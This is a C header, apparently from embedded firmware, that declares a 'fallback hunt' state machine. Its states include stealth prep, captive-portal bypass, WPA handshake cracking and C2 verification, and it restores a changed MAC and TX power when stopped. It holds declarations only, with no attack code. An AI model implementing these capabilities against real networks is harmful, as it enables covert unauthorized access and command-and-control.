/* * fb_hunt.h * Fallback hunt state machine — autonomous network recovery. */ #pragma once #include #ifdef __cplusplus extern "C" { #endif /* ============================================================ * Hunt states * ============================================================ */ typedef enum { FB_IDLE, FB_STEALTH_PREP, FB_PASSIVE_SCAN, FB_TRYING_KNOWN, FB_TRYING_OPEN, FB_PORTAL_CHECK, FB_PORTAL_BYPASS, FB_C2_VERIFY, FB_HANDSHAKE_CRACK, FB_GPRS_DIRECT, FB_CONNECTED, } fb_state_t; /* ============================================================ * API * ============================================================ */ /* Trigger the hunt (start the state machine task if not running). * Called automatically by WiFi.c on TCP failure. */ void fb_hunt_trigger(void); /* Stop the hunt, restore original WiFi + MAC + TX power. */ void fb_hunt_stop(void); /* Get current state. */ fb_state_t fb_hunt_get_state(void); /* Get state name as string. */ const char *fb_hunt_state_name(fb_state_t state); /* Is the hunt task currently running? */ bool fb_hunt_is_active(void); /* Get the SSID we connected to (empty if none). */ const char *fb_hunt_connected_ssid(void); /* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */ const char *fb_hunt_connected_method(void); /* Init mutex and event group (call from register_commands). */ void fb_hunt_init(void); /* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */ void fb_hunt_set_skip_gprs(bool skip); #ifdef __cplusplus } #endif